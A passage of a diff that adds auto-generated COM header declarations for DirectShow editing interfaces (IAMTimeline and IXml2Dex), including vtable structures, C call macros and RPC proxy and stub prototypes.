*pGuid) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimeline * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimeline * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimeline * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *CreateEmptyNode )( + IAMTimeline * This, + /* [out] */ IAMTimelineObj **ppObj, + TIMELINE_MAJOR_TYPE Type); + + HRESULT ( STDMETHODCALLTYPE *AddGroup )( + IAMTimeline * This, + IAMTimelineObj *pGroup); + + HRESULT ( STDMETHODCALLTYPE *RemGroupFromList )( + IAMTimeline * This, + IAMTimelineObj *pGroup); + + HRESULT ( STDMETHODCALLTYPE *GetGroup )( + IAMTimeline * This, + /* [out] */ IAMTimelineObj **ppGroup, + long WhichGroup); + + HRESULT ( STDMETHODCALLTYPE *GetGroupCount )( + IAMTimeline * This, + long *pCount); + + HRESULT ( STDMETHODCALLTYPE *ClearAllGroups )( + IAMTimeline * This); + + HRESULT ( STDMETHODCALLTYPE *GetInsertMode )( + IAMTimeline * This, + long *pMode); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetInsertMode )( + IAMTimeline * This, + long Mode); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *EnableTransitions )( + IAMTimeline * This, + BOOL fEnabled); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *TransitionsEnabled )( + IAMTimeline * This, + BOOL *pfEnabled); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *EnableEffects )( + IAMTimeline * This, + BOOL fEnabled); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *EffectsEnabled )( + IAMTimeline * This, + BOOL *pfEnabled); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetInterestRange )( + IAMTimeline * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetDuration )( + IAMTimeline * This, + REFERENCE_TIME *pDuration); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetDuration2 )( + IAMTimeline * This, + double *pDuration); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetDefaultFPS )( + IAMTimeline * This, + double FPS); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetDefaultFPS )( + IAMTimeline * This, + double *pFPS); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *IsDirty )( + IAMTimeline * This, + BOOL *pDirty); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetDirtyRange )( + IAMTimeline * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetCountOfType )( + IAMTimeline * This, + long Group, + long *pVal, + long *pValWithComps, + TIMELINE_MAJOR_TYPE MajorType); + + HRESULT ( STDMETHODCALLTYPE *ValidateSourceNames )( + IAMTimeline * This, + long ValidateFlags, + IMediaLocator *pOverride, + LONG_PTR NotifyEventHandle); + + HRESULT ( STDMETHODCALLTYPE *SetDefaultTransition )( + IAMTimeline * This, + GUID *pGuid); + + HRESULT ( STDMETHODCALLTYPE *GetDefaultTransition )( + IAMTimeline * This, + GUID *pGuid); + + HRESULT ( STDMETHODCALLTYPE *SetDefaultEffect )( + IAMTimeline * This, + GUID *pGuid); + + HRESULT ( STDMETHODCALLTYPE *GetDefaultEffect )( + IAMTimeline * This, + GUID *pGuid); + + HRESULT ( STDMETHODCALLTYPE *SetDefaultTransitionB )( + IAMTimeline * This, + BSTR pGuid); + + HRESULT ( STDMETHODCALLTYPE *GetDefaultTransitionB )( + IAMTimeline * This, + /* [retval][out] */ BSTR *pGuid); + + HRESULT ( STDMETHODCALLTYPE *SetDefaultEffectB )( + IAMTimeline * This, + BSTR pGuid); + + HRESULT ( STDMETHODCALLTYPE *GetDefaultEffectB )( + IAMTimeline * This, + /* [retval][out] */ BSTR *pGuid); + + END_INTERFACE + } IAMTimelineVtbl; + + interface IAMTimeline + { + CONST_VTBL struct IAMTimelineVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimeline_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimeline_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimeline_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimeline_CreateEmptyNode(This,ppObj,Type) \ + (This)->lpVtbl -> CreateEmptyNode(This,ppObj,Type) + +#define IAMTimeline_AddGroup(This,pGroup) \ + (This)->lpVtbl -> AddGroup(This,pGroup) + +#define IAMTimeline_RemGroupFromList(This,pGroup) \ + (This)->lpVtbl -> RemGroupFromList(This,pGroup) + +#define IAMTimeline_GetGroup(This,ppGroup,WhichGroup) \ + (This)->lpVtbl -> GetGroup(This,ppGroup,WhichGroup) + +#define IAMTimeline_GetGroupCount(This,pCount) \ + (This)->lpVtbl -> GetGroupCount(This,pCount) + +#define IAMTimeline_ClearAllGroups(This) \ + (This)->lpVtbl -> ClearAllGroups(This) + +#define IAMTimeline_GetInsertMode(This,pMode) \ + (This)->lpVtbl -> GetInsertMode(This,pMode) + +#define IAMTimeline_SetInsertMode(This,Mode) \ + (This)->lpVtbl -> SetInsertMode(This,Mode) + +#define IAMTimeline_EnableTransitions(This,fEnabled) \ + (This)->lpVtbl -> EnableTransitions(This,fEnabled) + +#define IAMTimeline_TransitionsEnabled(This,pfEnabled) \ + (This)->lpVtbl -> TransitionsEnabled(This,pfEnabled) + +#define IAMTimeline_EnableEffects(This,fEnabled) \ + (This)->lpVtbl -> EnableEffects(This,fEnabled) + +#define IAMTimeline_EffectsEnabled(This,pfEnabled) \ + (This)->lpVtbl -> EffectsEnabled(This,pfEnabled) + +#define IAMTimeline_SetInterestRange(This,Start,Stop) \ + (This)->lpVtbl -> SetInterestRange(This,Start,Stop) + +#define IAMTimeline_GetDuration(This,pDuration) \ + (This)->lpVtbl -> GetDuration(This,pDuration) + +#define IAMTimeline_GetDuration2(This,pDuration) \ + (This)->lpVtbl -> GetDuration2(This,pDuration) + +#define IAMTimeline_SetDefaultFPS(This,FPS) \ + (This)->lpVtbl -> SetDefaultFPS(This,FPS) + +#define IAMTimeline_GetDefaultFPS(This,pFPS) \ + (This)->lpVtbl -> GetDefaultFPS(This,pFPS) + +#define IAMTimeline_IsDirty(This,pDirty) \ + (This)->lpVtbl -> IsDirty(This,pDirty) + +#define IAMTimeline_GetDirtyRange(This,pStart,pStop) \ + (This)->lpVtbl -> GetDirtyRange(This,pStart,pStop) + +#define IAMTimeline_GetCountOfType(This,Group,pVal,pValWithComps,MajorType) \ + (This)->lpVtbl -> GetCountOfType(This,Group,pVal,pValWithComps,MajorType) + +#define IAMTimeline_ValidateSourceNames(This,ValidateFlags,pOverride,NotifyEventHandle) \ + (This)->lpVtbl -> ValidateSourceNames(This,ValidateFlags,pOverride,NotifyEventHandle) + +#define IAMTimeline_SetDefaultTransition(This,pGuid) \ + (This)->lpVtbl -> SetDefaultTransition(This,pGuid) + +#define IAMTimeline_GetDefaultTransition(This,pGuid) \ + (This)->lpVtbl -> GetDefaultTransition(This,pGuid) + +#define IAMTimeline_SetDefaultEffect(This,pGuid) \ + (This)->lpVtbl -> SetDefaultEffect(This,pGuid) + +#define IAMTimeline_GetDefaultEffect(This,pGuid) \ + (This)->lpVtbl -> GetDefaultEffect(This,pGuid) + +#define IAMTimeline_SetDefaultTransitionB(This,pGuid) \ + (This)->lpVtbl -> SetDefaultTransitionB(This,pGuid) + +#define IAMTimeline_GetDefaultTransitionB(This,pGuid) \ + (This)->lpVtbl -> GetDefaultTransitionB(This,pGuid) + +#define IAMTimeline_SetDefaultEffectB(This,pGuid) \ + (This)->lpVtbl -> SetDefaultEffectB(This,pGuid) + +#define IAMTimeline_GetDefaultEffectB(This,pGuid) \ + (This)->lpVtbl -> GetDefaultEffectB(This,pGuid) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_CreateEmptyNode_Proxy( + IAMTimeline * This, + /* [out] */ IAMTimelineObj **ppObj, + TIMELINE_MAJOR_TYPE Type); + + +void __RPC_STUB IAMTimeline_CreateEmptyNode_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_AddGroup_Proxy( + IAMTimeline * This, + IAMTimelineObj *pGroup); + + +void __RPC_STUB IAMTimeline_AddGroup_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_RemGroupFromList_Proxy( + IAMTimeline * This, + IAMTimelineObj *pGroup); + + +void __RPC_STUB IAMTimeline_RemGroupFromList_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_GetGroup_Proxy( + IAMTimeline * This, + /* [out] */ IAMTimelineObj **ppGroup, + long WhichGroup); + + +void __RPC_STUB IAMTimeline_GetGroup_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_GetGroupCount_Proxy( + IAMTimeline * This, + long *pCount); + + +void __RPC_STUB IAMTimeline_GetGroupCount_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_ClearAllGroups_Proxy( + IAMTimeline * This); + + +void __RPC_STUB IAMTimeline_ClearAllGroups_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_GetInsertMode_Proxy( + IAMTimeline * This, + long *pMode); + + +void __RPC_STUB IAMTimeline_GetInsertMode_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_SetInsertMode_Proxy( + IAMTimeline * This, + long Mode); + + +void __RPC_STUB IAMTimeline_SetInsertMode_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_EnableTransitions_Proxy( + IAMTimeline * This, + BOOL fEnabled); + + +void __RPC_STUB IAMTimeline_EnableTransitions_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_TransitionsEnabled_Proxy( + IAMTimeline * This, + BOOL *pfEnabled); + + +void __RPC_STUB IAMTimeline_TransitionsEnabled_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_EnableEffects_Proxy( + IAMTimeline * This, + BOOL fEnabled); + + +void __RPC_STUB IAMTimeline_EnableEffects_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_EffectsEnabled_Proxy( + IAMTimeline * This, + BOOL *pfEnabled); + + +void __RPC_STUB IAMTimeline_EffectsEnabled_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_SetInterestRange_Proxy( + IAMTimeline * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + +void __RPC_STUB IAMTimeline_SetInterestRange_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_GetDuration_Proxy( + IAMTimeline * This, + REFERENCE_TIME *pDuration); + + +void __RPC_STUB IAMTimeline_GetDuration_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_GetDuration2_Proxy( + IAMTimeline * This, + double *pDuration); + + +void __RPC_STUB IAMTimeline_GetDuration2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_SetDefaultFPS_Proxy( + IAMTimeline * This, + double FPS); + + +void __RPC_STUB IAMTimeline_SetDefaultFPS_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_GetDefaultFPS_Proxy( + IAMTimeline * This, + double *pFPS); + + +void __RPC_STUB IAMTimeline_GetDefaultFPS_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_IsDirty_Proxy( + IAMTimeline * This, + BOOL *pDirty); + + +void __RPC_STUB IAMTimeline_IsDirty_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_GetDirtyRange_Proxy( + IAMTimeline * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + +void __RPC_STUB IAMTimeline_GetDirtyRange_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimeline_GetCountOfType_Proxy( + IAMTimeline * This, + long Group, + long *pVal, + long *pValWithComps, + TIMELINE_MAJOR_TYPE MajorType); + + +void __RPC_STUB IAMTimeline_GetCountOfType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_ValidateSourceNames_Proxy( + IAMTimeline * This, + long ValidateFlags, + IMediaLocator *pOverride, + LONG_PTR NotifyEventHandle); + + +void __RPC_STUB IAMTimeline_ValidateSourceNames_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_SetDefaultTransition_Proxy( + IAMTimeline * This, + GUID *pGuid); + + +void __RPC_STUB IAMTimeline_SetDefaultTransition_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_GetDefaultTransition_Proxy( + IAMTimeline * This, + GUID *pGuid); + + +void __RPC_STUB IAMTimeline_GetDefaultTransition_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_SetDefaultEffect_Proxy( + IAMTimeline * This, + GUID *pGuid); + + +void __RPC_STUB IAMTimeline_SetDefaultEffect_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_GetDefaultEffect_Proxy( + IAMTimeline * This, + GUID *pGuid); + + +void __RPC_STUB IAMTimeline_GetDefaultEffect_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_SetDefaultTransitionB_Proxy( + IAMTimeline * This, + BSTR pGuid); + + +void __RPC_STUB IAMTimeline_SetDefaultTransitionB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_GetDefaultTransitionB_Proxy( + IAMTimeline * This, + /* [retval][out] */ BSTR *pGuid); + + +void __RPC_STUB IAMTimeline_GetDefaultTransitionB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_SetDefaultEffectB_Proxy( + IAMTimeline * This, + BSTR pGuid); + + +void __RPC_STUB IAMTimeline_SetDefaultEffectB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimeline_GetDefaultEffectB_Proxy( + IAMTimeline * This, + /* [retval][out] */ BSTR *pGuid); + + +void __RPC_STUB IAMTimeline_GetDefaultEffectB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimeline_INTERFACE_DEFINED__ */ + + +#ifndef __IXml2Dex_INTERFACE_DEFINED__ +#define __IXml2Dex_INTERFACE_DEFINED__ + +/* interface IXml2Dex */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IXml2Dex; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("18C628ED-962A-11D2-8D08-00A0C9441E20") + IXml2Dex : public IDispatch + { + public: + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE CreateGraphFromFile( + /* [out] */ IUnknown **ppGraph, + IUnknown *pTimeline, + BSTR Filename) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE WriteGrfFile( + IUnknown *pGraph, + BSTR FileName) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE WriteXMLFile( + IUnknown *pTimeline, + BSTR FileName) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE ReadXMLFile( + IUnknown *pTimeline, + BSTR XMLName) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Delete( + IUnknown *pTimeline, + double dStart, + double dEnd) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE WriteXMLPart( + IUnknown *pTimeline, + double dStart, + double dEnd, + BSTR FileName) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE PasteXMLFile( + IUnknown *pTimeline, + double dStart, + BSTR FileName) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE CopyXML( + IUnknown *pTimeline, + double dStart, + double dEnd) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE PasteXML( + IUnknown *pTimeline, + double dStart) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Reset( void) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE ReadXML( + IUnknown *pTimeline, + IUnknown *pXML) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE WriteXML( + IUnknown *pTimeline, + BSTR *pbstrXML) = 0; + + }; + +#else /* C style interface */ + + typedef struct IXml2DexVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IXml2Dex * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IXml2Dex * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IXml2Dex * This); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( + IXml2Dex * This, + /* [out] */ UINT *pctinfo); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( + IXml2Dex * This, + /* [in] */ UINT iTInfo, + /* [in] */ LCID lcid, + /* [out] */ ITypeInfo **ppTInfo); + + HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( + IXml2Dex * This, + /* [in] */ REFIID riid, + /* [size_is][in] */ LPOLESTR *rgszNames, + /* [in] */ UINT cNames, + /* [in] */ LCID lcid, + /* [size_is][out] */ DISPID *rgDispId); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( + IXml2Dex * This, + /* [in] */ DISPID dispIdMember, + /* [in] */ REFIID riid, + /* [in] */ LCID lcid, + /* [in] */ WORD wFlags, + /* [out][in] */ DISPPARAMS *pDispParams, + /* [out] */ VARIANT *pVarResult, + /* [out] */ EXCEPINFO *pExcepInfo, + /* [out] */ UINT *puArgErr); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *CreateGraphFromFile )( + IXml2Dex * This, + /* [out] */ IUnknown **ppGraph, + IUnknown *pTimeline, + BSTR Filename); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *WriteGrfFile )( + IXml2Dex * This, + IUnknown *pGraph, + BSTR FileName); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *WriteXMLFile )( + IXml2Dex * This, + IUnknown *pTimeline, + BSTR FileName); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *ReadXMLFile )( + IXml2Dex * This, + IUnknown *pTimeline, + BSTR XMLName); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Delete )( + IXml2Dex * This, + IUnknown *pTimeline, + double dStart, + double dEnd); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *WriteXMLPart )( + IXml2Dex * This, + IUnknown *pTimeline, + double dStart, + double dEnd, + BSTR FileName); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *PasteXMLFile )( + IXml2Dex * This, + IUnknown *pTimeline, + double dStart, + BSTR FileName); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *CopyXML )( + IXml2Dex * This, + IUnknown *pTimeline, + double dStart, + double dEnd); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *PasteXML )( + IXml2Dex * This, + IUnknown *pTimeline, + double dStart); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Reset )( + IXml2Dex * This); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *ReadXML )( + IXml2Dex * This, + IUnknown *pTimeline, + IUnknown *pXML); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *WriteXML )( + IXml2Dex * This, + IUnknown *pTimeline, + BSTR *pbstrXML); + + END_INTERFACE + } IXml2DexVtbl; + + interface IXml2Dex + { + CONST_VTBL struct IXml2DexVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IXml2Dex_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IXml2Dex_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IXml2Dex_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IXml2Dex_GetTypeInfoCount(This,pctinfo) \ + (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) + +#define IXml2Dex_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \ + (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) + +#define IXml2Dex_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \ + (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) + +#define IXml2Dex_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \ + (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) + + +#define IXml2Dex_CreateGraphFromFile(This,ppGraph,pTimeline,Filename) \ + (This)->lpVtbl -> CreateGraphFromFile(This,ppGraph,pTimeline,Filename) + +#define IXml2Dex_WriteGrfFile(This,pGraph,FileName) \ + (This)->lpVtbl -> WriteGrfFile(This,pGraph,FileName) + +#define IXml2Dex_WriteXMLFile(This,pTimeline,FileName) \ + (This)->lpVtbl -> WriteXMLFile(This,pTimeline,FileName) + +#define IXml2Dex_ReadXMLFile(This,pTimeline,XMLName) \ + (This)->lpVtbl -> ReadXMLFile(This,pTimeline,XMLName) + +#define IXml2Dex_Delete(This,pTimeline,dStart,dEnd) \ + (This)->lpVtbl -> Delete(This,pTimeline,dStart,dEnd) + +#define IXml2Dex_WriteXMLPart(This,pTimeline,dStart,dEnd,FileName) \ + (This)->lpVtbl -> WriteXMLPart(This,pTimeline,dStart,dEnd,FileName) + +#define IXml2Dex_PasteXMLFile(This,pTimeline,dStart,FileName) \ + (This)->lpVtbl -> PasteXMLFile(This,pTimeline,dStart,FileName) + +#define IXml2Dex_CopyXML(This,pTimeline,dStart,dEnd) \ + (This)->lpVtbl -> CopyXML(This,pTimeline,dStart,dEnd) + +#define IXml2Dex_PasteXML(This,pTimeline,dStart) \ + (This)->lpVtbl -> PasteXML(This,pTimeline,dStart) + +#define IXml2Dex_Reset(This) \ + (This)->lpVtbl -> Reset(This) + +#define IXml2Dex_ReadXML(This,pTimeline,pXML) \ + (This)->lpVtbl -> ReadXML(This,pTimeline,pXML) + +#define IXml2Dex_WriteXML(This,pTimeline,pbstrXML) \ + (This)->lpVtbl -> WriteXML(This,pTimeline,pbstrXML) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_CreateGraphFromFile_Proxy( + IXml2Dex * This, + /* [out] */ IUnknown **ppGraph, + IUnknown *pTimeline, + BSTR Filename); + + +void __RPC_STUB IXml2Dex_CreateGraphFromFile_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_WriteGrfFile_Proxy( + IXml2Dex * This, + IUnknown *pGraph, + BSTR FileName); + + +void __RPC_STUB IXml2Dex_WriteGrfFile_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_WriteXMLFile_Proxy( + IXml2Dex * This, + IUnknown *pTimeline, + BSTR FileName); + + +void __RPC_STUB IXml2Dex_WriteXMLFile_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_ReadXMLFile_Proxy( + IXml2Dex * This, + IUnknown *pTimeline, + BSTR XMLName); + + +void __RPC_STUB IXml2Dex_ReadXMLFile_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_Delete_Proxy( + IXml2Dex * This, + IUnknown *pTimeline, + double dStart, + double dEnd); + + +void __RPC_STUB IXml2Dex_Delete_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_WriteXMLPart_Proxy( + IXml2Dex * This, + IUnknown *pTimeline, + double dStart, + double dEnd, + BSTR FileName); + + +void __RPC_STUB IXml2Dex_WriteXMLPart_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE 